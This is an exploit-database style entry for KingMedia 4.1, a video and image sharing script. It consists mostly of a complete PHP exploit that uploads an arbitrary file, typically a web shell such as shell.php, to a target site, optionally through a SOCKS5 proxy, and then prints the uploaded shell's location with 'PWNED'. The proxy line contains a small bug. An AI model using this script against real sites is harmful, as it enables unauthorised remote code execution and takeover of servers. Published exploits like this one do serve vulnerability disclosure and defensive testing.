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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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KingMedia 4.1 - File Upload 

# Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A 

<?php
// Author: Efren Diaz (elefr3n)
// https://twitter.com/elefr3n

echo "--------------------------------------------\n";
echo "KING MEDIA CMS ARBITRARY FILE UPLOAD EXPLOIT\n";
echo "--------------------------------------------\n";

if (!isset($argv[2]))
{
    echo "\nUsage: exploit.php <target> <file> <socks5>\n\n";
    echo "  -target: http://site.com/... (required)\n";
    echo "  -file: shell.php (required)\n";
    echo "  -socks5: 127.0.0.1:1337 (optional)\n\n";
} else {
    echo "\nUploading file...\n\n";

    $file = $argv[2];
    $target = $argv[1];

    $mimeType = image_type_to_mime_type(exif_imagetype($file));
    $cFile = curl_file_create($file, $mimeType, $file);

    $post = array(
        'ImageFile'=> $cFile
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($argv[3])) {
        curl_setopt($ch, CURLOPT_PROXY, isset($argv[3]));
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    $result=curl_exec($ch);

    preg_match_all('/src="(.*)" alt="Resized/i',$result,$uploaded_shell);

    if (isset($uploaded_shell[1][0])) {
        echo "PWNED ! :D \n\n{$uploaded_shell[1][0]}\n\n";
    } else {
        echo "Something was bad... str result:\n{$result}";
    }
    curl_close ($ch);
}